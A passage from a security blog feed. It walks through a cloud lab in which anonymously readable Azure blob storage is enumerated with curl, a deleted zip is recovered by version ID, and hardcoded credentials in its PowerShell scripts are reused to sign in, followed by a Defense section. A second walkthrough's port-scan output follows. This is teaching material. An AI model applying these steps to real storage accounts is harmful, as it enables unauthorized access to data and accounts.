</span></span><span style="display:flex;"><span>  &lt;Message&gt;Value <span style="color:#66d9ef">for</span> one of the query parameters specified in the request URI is invalid.
</span></span><span style="display:flex;"><span>RequestId:57568bcb-301e-0077-7430-e699ab000000
</span></span><span style="display:flex;"><span>Time:2024-08-04T05:41:28.2493935Z&lt;/Message&gt;
</span></span><span style="display:flex;"><span>  &lt;QueryParameterName&gt;include&lt;/QueryParameterName&gt;
</span></span><span style="display:flex;"><span>  &lt;QueryParameterValue&gt;versions&lt;/QueryParameterValue&gt;
</span></span><span style="display:flex;"><span>  &lt;Reason&gt;Invalid query parameter value.&lt;/Reason&gt;
</span></span><span style="display:flex;"><span>&lt;/Error&gt;
</span></span></code></pre></div><p>We get an error, but the documentation indicates that we are required to pass in the <code>x-ms-version</code> header and we pass in the command <code>curl -s -H 'x-ms-version: 2019-12-12' 'https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list&amp;include=versions' | xmllint --format - </code> which returns a lot of results, so we do a first screening searching for Name.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s -H <span style="color:#e6db74">&#39;x-ms-version: 2019-12-12&#39;</span> <span style="color:#e6db74">&#39;https://mbtwebsite.blob.core.windows.net/$web?restype=container&amp;comp=list&amp;include=versions&#39;</span> | xmllint --format - | grep Name
</span></span><span style="display:flex;"><span>&lt;EnumerationResults ServiceEndpoint<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;https://mbtwebsite.blob.core.windows.net/&#34;</span> ContainerName<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span>$web<span style="color:#e6db74">&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;index.html&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;scripts-transfer.zip&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/application-0162b80622a4b825c801f8afcd695b5918649df6f9b26eb012974f9b00a777c5.css&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/application-76970cb8dc49a9af2f2bbc74a0ec0781ef24ead86c4f7b6273577d16c2f1506a.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/common.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/css&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/iframe_api&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/jquery-3.6.0.min.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/js&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/magnific-popup-2f7f85183333c84a42262b5f8a4f8251958809e29fa31c65bdee53c4603502cd.css&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/magnific-popup.min-37130bcc3f8b01fe7473f8bb60a9aea35dc77c05eedc37fbd70135363feb6999.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/player.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/swiper-18be8aa3f032dded246a45a9da3dafdb3934e39e1f1b3b623c1722f3152b2788.css&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/swiper.min-d36969d50f8c2fa3a00a68e55fe929e3af3fdd249cf33fd128b6a17a410e2c59.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/util.js.download&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;static/www-widgetapi.js.download&lt;/Name&gt;
</span></span></code></pre></div><p>There is one interesting file which is scripts-transfer.zip so lets extract the details from that from our earlier query</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>    &lt;Blob&gt;
</span></span><span style="display:flex;"><span>      &lt;Name&gt;scripts-transfer.zip&lt;/Name&gt;
</span></span><span style="display:flex;"><span>      &lt;VersionId&gt;2024-03-29T20:55:40.8265593Z&lt;/VersionId&gt;
</span></span><span style="display:flex;"><span>      &lt;Properties&gt;
</span></span><span style="display:flex;"><span>        &lt;Creation-Time&gt;Fri, <span style="color:#ae81ff">29</span> Mar <span style="color:#ae81ff">2024</span> 20:55:40 GMT&lt;/Creation-Time&gt;
</span></span><span style="display:flex;"><span>        &lt;Last-Modified&gt;Fri, <span style="color:#ae81ff">29</span> Mar <span style="color:#ae81ff">2024</span> 20:55:40 GMT&lt;/Last-Modified&gt;
</span></span><span style="display:flex;"><span>        &lt;Etag&gt;0x8DC503297FC8D79&lt;/Etag&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Length&gt;1503&lt;/Content-Length&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Type&gt;application/x-zip-compressed&lt;/Content-Type&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Encoding/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Language/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-CRC64/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-MD5&gt;1qDsI5JcoEf80LrjeE21Yg<span style="color:#f92672">==</span>&lt;/Content-MD5&gt;
</span></span><span style="display:flex;"><span>        &lt;Cache-Control/&gt;
</span></span><span style="display:flex;"><span>        &lt;Content-Disposition/&gt;
</span></span><span style="display:flex;"><span>        &lt;BlobType&gt;BlockBlob&lt;/BlobType&gt;
</span></span><span style="display:flex;"><span>        &lt;AccessTier&gt;Hot&lt;/AccessTier&gt;
</span></span><span style="display:flex;"><span>        &lt;AccessTierInferred&gt;true&lt;/AccessTierInferred&gt;
</span></span><span style="display:flex;"><span>        &lt;ServerEncrypted&gt;true&lt;/ServerEncrypted&gt;
</span></span><span style="display:flex;"><span>      &lt;/Properties&gt;
</span></span><span style="display:flex;"><span>      &lt;OrMetadata/&gt;
</span></span><span style="display:flex;"><span>    &lt;/Blob&gt;
</span></span></code></pre></div><p>Going back to the documentation for <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/get-blob?tabs=microsoft-entra-id">Get Blob</a> we can see that we are able to retrieve it with the VersionId.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ curl -s -H <span style="color:#e6db74">&#39;x-ms-version: 2019-12-12&#39;</span> <span style="color:#e6db74">&#39;https://mbtwebsite.blob.core.windows.net/$web/scripts-transfer.zip?versionid=2024-03-29T20:55:40.8265593Z&#39;</span> --output scripts-transfer.zip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ unzip -l scripts-transfer.zip
</span></span><span style="display:flex;"><span>Archive:  scripts-transfer.zip
</span></span><span style="display:flex;"><span>  Length      Date    Time    Name
</span></span><span style="display:flex;"><span>---------  ---------- -----   ----
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1241</span>  2024-03-29 20:54   entra_users.ps1
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">1321</span>  2024-03-29 20:53   stale_computer_accounts.ps1
</span></span><span style="display:flex;"><span>---------                     -------
</span></span><span style="display:flex;"><span>     <span style="color:#ae81ff">2562</span>                     <span style="color:#ae81ff">2</span> files
</span></span></code></pre></div><hr>
<h3 id="using-azure-storage-explorer">Using Azure Storage Explorer</h3>
<p>An alternative which is easier is to use Azure Storage explorer and connect directly to the container as it allows anonymous access</p>
<p><img src="/assets/pwn_20240507082647.png" alt=""></p>
<p>By clicking on the drop down menu we can also see any files that have been deleted</p>
<p><img src="/assets/pwn_20240507082802.png" alt=""></p>
<p>We then can right click on the file and download and continue.</p>
<hr>
<p>Using either method to get the file, we unzip the file and inspect the content.s  The first one, <code>entra_users.ps1</code> contains hardcoded credentials.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#75715e"># Install the required modules if not already installed</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Install-Module -Name Az -Force -Scope CurrentUser</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Install-Module -Name MSAL.PS -Force -Scope CurrentUser</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Import the required modules</span>
</span></span><span style="display:flex;"><span>Import-Module Az
</span></span><span style="display:flex;"><span>Import-Module MSAL.PS
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Define your Azure AD credentials</span>
</span></span><span style="display:flex;"><span>$Username = <span style="color:#e6db74">&#34;marcus@megabigtech.com&#34;</span>
</span></span><span style="display:flex;"><span>$Password = <span style="color:#e6db74">&#34;TheEagles12345!&#34;</span> | ConvertTo-SecureString -AsPlainText -Force
</span></span><span style="display:flex;"><span>$Credential = New-Object System.Management.Automation.PSCredential ($Username, $Password)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Authenticate to Azure AD using the specified credentials</span>
</span></span><span style="display:flex;"><span>Connect-AzAccount -Credential $Credential
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Define the Microsoft Graph API URL</span>
</span></span><span style="display:flex;"><span>$GraphApiUrl = <span style="color:#e6db74">&#34;https://graph.microsoft.com/v1.0/users?</span>$select<span style="color:#e6db74">=displayName,userPrincipalName&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Retrieve the access token for Microsoft Graph</span>
</span></span><span style="display:flex;"><span>$AccessToken = (Get-AzAccessToken -ResourceType MSGraph).Token
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create a headers hashtable with the access token</span>
</span></span><span style="display:flex;"><span>$headers = @{
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Authorization&#34;</span> = <span style="color:#e6db74">&#34;Bearer </span>$AccessToken<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ContentType&#34;</span>   = <span style="color:#e6db74">&#34;application/json&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Retrieve User Information and Last Sign-In Time using Microsoft Graph via PowerShell</span>
</span></span><span style="display:flex;"><span>$response = Invoke-RestMethod -Uri $GraphApiUrl -Method Get -Headers $headers
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Output the response (formatted as JSON)</span>
</span></span><span style="display:flex;"><span>$response | ConvertTo-Json
</span></span></code></pre></div><p>The second file also contains hardcoded credentials, but this time it is for the admin account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#75715e"># Define the target domain and OU</span>
</span></span><span style="display:flex;"><span>$domain = <span style="color:#e6db74">&#34;megabigtech.local&#34;</span>
</span></span><span style="display:flex;"><span>$ouName = <span style="color:#e6db74">&#34;Review&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Set the threshold for stale computer accounts (adjust as needed)</span>
</span></span><span style="display:flex;"><span>$staleDays = <span style="color:#ae81ff">90</span>  <span style="color:#75715e"># Computers not modified in the last 90 days will be considered stale</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Hardcoded credentials</span>
</span></span><span style="display:flex;"><span>$securePassword = ConvertTo-SecureString <span style="color:#e6db74">&#34;MegaBigTech123!&#34;</span> -AsPlainText -Force
</span></span><span style="display:flex;"><span>$credential = New-Object System.Management.Automation.PSCredential (<span style="color:#e6db74">&#34;marcus_adm&#34;</span>, $securePassword)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Get the current date</span>
</span></span><span style="display:flex;"><span>$currentDate = Get-Date
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Calculate the date threshold for stale accounts</span>
</span></span><span style="display:flex;"><span>$thresholdDate = $currentDate.AddDays(-$staleDays)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Disable and move stale computer accounts to the &#34;Review&#34; OU</span>
</span></span><span style="display:flex;"><span>Get-ADComputer -Filter {(LastLogonTimeStamp <span style="color:#f92672">-lt</span> $thresholdDate) <span style="color:#f92672">-and</span> (Enabled <span style="color:#f92672">-eq</span> $true)} -SearchBase <span style="color:#e6db74">&#34;DC=</span>$domain<span style="color:#e6db74">&#34;</span> -Properties LastLogonTimeStamp -Credential $credential |
</span></span><span style="display:flex;"><span>  ForEach-Object {
</span></span><span style="display:flex;"><span>    $computerName = $_.Name
</span></span><span style="display:flex;"><span>    $computerDistinguishedName = $_.DistinguishedName
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Disable the computer account</span>
</span></span><span style="display:flex;"><span>    Disable-ADAccount -Identity $computerDistinguishedName -Credential $credential
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e"># Move the computer account to the &#34;Review&#34; OU</span>
</span></span><span style="display:flex;"><span>    Move-ADObject -Identity $computerDistinguishedName -TargetPath <span style="color:#e6db74">&#34;OU=</span>$ouName<span style="color:#e6db74">,DC=</span>$domain<span style="color:#e6db74">&#34;</span> -Credential $credential
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    Write-Host <span style="color:#e6db74">&#34;Disabled and moved computer account: </span>$computerName<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>  }
</span></span></code></pre></div><p>We have launched PowerShell on our Kali instance and installed the required modules.  We then run the <code>entra_users.ps1</code> script to see if we have valid credentials, and we get the following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">─</span>PS&gt; ./entra_users.ps1
</span></span><span style="display:flex;"><span>WARNING<span style="color:#960050;background-color:#1e0010">:</span> Authentication with a username and password at the command line is strongly discouraged. Use one of the recommended authentication methods based on your requirements. <span style="color:#66d9ef">For</span> additional information, visit https<span style="color:#960050;background-color:#1e0010">:</span>//go.microsoft.com/fwlink/<span style="color:#66d9ef">?</span>linkid=<span style="color:#ae81ff">2276971</span>.
</span></span><span style="display:flex;"><span>WARNING<span style="color:#960050;background-color:#1e0010">:</span> You may need to login again after updating <span style="color:#e6db74">&#34;EnableLoginByWam&#34;</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>WARNING<span style="color:#960050;background-color:#1e0010">:</span> Upcoming breaking changes <span style="color:#66d9ef">in</span> the cmdlet <span style="color:#e6db74">&#39;Get-AzAccessToken&#39;</span> <span style="color:#960050;background-color:#1e0010">:</span>
</span></span><span style="display:flex;"><span>The Token property of the output type will be changed from String to SecureString. Add the [-AsSecureString] <span style="color:#66d9ef">switch</span> to avoid the impact of this upcoming breaking change.
</span></span><span style="display:flex;"><span>- The change is expected to take effect <span style="color:#66d9ef">in</span> Az version <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#39;13.0.0&#39;</span>
</span></span><span style="display:flex;"><span>- The change is expected to take effect <span style="color:#66d9ef">in</span> Az.Accounts version <span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#39;4.0.0&#39;</span>
</span></span><span style="display:flex;"><span>Note <span style="color:#960050;background-color:#1e0010">:</span> Go to https<span style="color:#960050;background-color:#1e0010">:</span>//aka.ms/azps-changewarnings <span style="color:#66d9ef">for</span> steps to suppress this breaking change warning, and other information on breaking changes <span style="color:#66d9ef">in</span> Azure PowerShell.
</span></span><span style="display:flex;"><span>WARNING<span style="color:#960050;background-color:#1e0010">:</span> Resulting JSON is truncated as serialization has exceeded the set depth of <span style="color:#ae81ff">2</span>.
</span></span><span style="display:flex;"><span>Subscription name           Tenant
</span></span><span style="display:flex;"><span>-----------------           ------
</span></span><span style="display:flex;"><span>Microsoft Azure Sponsorship <span style="color:#66d9ef">Default</span> Directory
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;@odata.context&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;https://graph.microsoft.com/v1.0/</span>$metadata<span style="color:#e6db74">#users&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;value&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;businessPhones&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;displayName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Akari Fukimo&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;givenName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Akari&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;jobTitle&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Cloud engineer&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;mail&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;mobilePhone&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;officeLocation&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;preferredLanguage&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;surname&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Fukimo&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;userPrincipalName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Akari.Fukimo@megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;id&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;f99e0d7f-3e0f-41ce-8fcb-cf7ac49995d1&#34;</span>
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;businessPhones&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;displayName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Akira Suzuki&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;givenName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;jobTitle&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;mail&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;mobilePhone&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;officeLocation&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;preferredLanguage&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;surname&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> null,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;userPrincipalName&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;Akira.Suzuki@megabigtech.com&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;id&#34;</span><span style="color:#960050;background-color:#1e0010">:</span> <span style="color:#e6db74">&#34;4e96be22-f417-49b5-9f98-b74f8258c8ae&#34;</span>
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>&lt; --- snip --- &gt;
</span></span></code></pre></div><p>We have been able to retrieve the flag by running the command <code>get-azaduser -signedin | fl</code></p>
<h2 id="defense">Defense</h2>
<p>There were a number of issues that enabled such a compromise with the first and most obvious being that the entire blob containers was world-readable by anonymous users when only the website content should have been configured to be publicly accessible.  The other was that sensitive files were still there from a previous version.  These should not have been there in the first instance, and should have manually been deleted using the command <code>Remove-AzStorageBlob -Container '$web' -Blob scripts-transfer.zip -VersionId &quot;2024-03-29T20:55:40.8265593Z&quot;</code></p>
<p>The most critical of all of these was of course the hard coding of credentials in the scripts.  Credentials should have been stored in a PAM system, password manager or using a service such as Azure Key Vault.</p>
]]></content>
        </item>
        
        <item>
            <title>Walkthrough - THM Injectics</title>
            <link>https://www.nephos.guru/posts/2024/thm-injectics/</link>
            <pubDate>Fri, 02 Aug 2024 15:15:58 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/thm-injectics/</guid>
            <description>&lt;p&gt;This walkthrough is related to the medium level box from Try Hack Me called &lt;a href=&#34;https://tryhackme.com/r/room/injectics&#34;&gt;Injectics&lt;/a&gt; which is designed to test your injection skills to take control of a web app.  Let&amp;rsquo;s get started!&lt;/p&gt;
&lt;p&gt;We start with first identifying what are the open ports and we use &lt;code&gt;rustscan&lt;/code&gt; which shows us that we have two ports open, being 22 and 80&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;❯ rustscan -a 10.10.80.9
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;| &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |&lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__ &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_   _&lt;span style=&#34;color:#f92672&#34;&gt;}{&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;__  /  ___&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; / &lt;span style=&#34;color:#f92672&#34;&gt;{}&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;|  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;| |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| .-. &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;{&lt;/span&gt;_&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; |.-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; | |  .-._&lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;}&lt;/span&gt;/  /&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\|&lt;/span&gt; |&lt;span style=&#34;color:#ae81ff&#34;&gt;\ &lt;/span&gt; |
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-----&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;  `----&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;---&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; `-&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;`-&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;`&lt;/span&gt;-&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;The Modern Day Port Scanner.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: http://discord.skerritt.blog         :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;: https://github.com/RustScan/RustScan :
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt; --------------------------------------
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;Scanning ports: The virtual equivalent of knocking on doors.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[~] The config file is expected to be at &amp;#34;/home/n3ph0s/.rustscan.toml&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;&lt;/span&gt;s speed. Use the Docker image, or up the Ulimit with &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--ulimit 5000&amp;#39;&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.80.9:22
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Open 10.10.80.9:80
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;~&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; Starting Script&lt;span style=&#34;color:#f92672&#34;&gt;(&lt;/span&gt;s&lt;span style=&#34;color:#f92672&#34;&gt;)&lt;/span&gt;
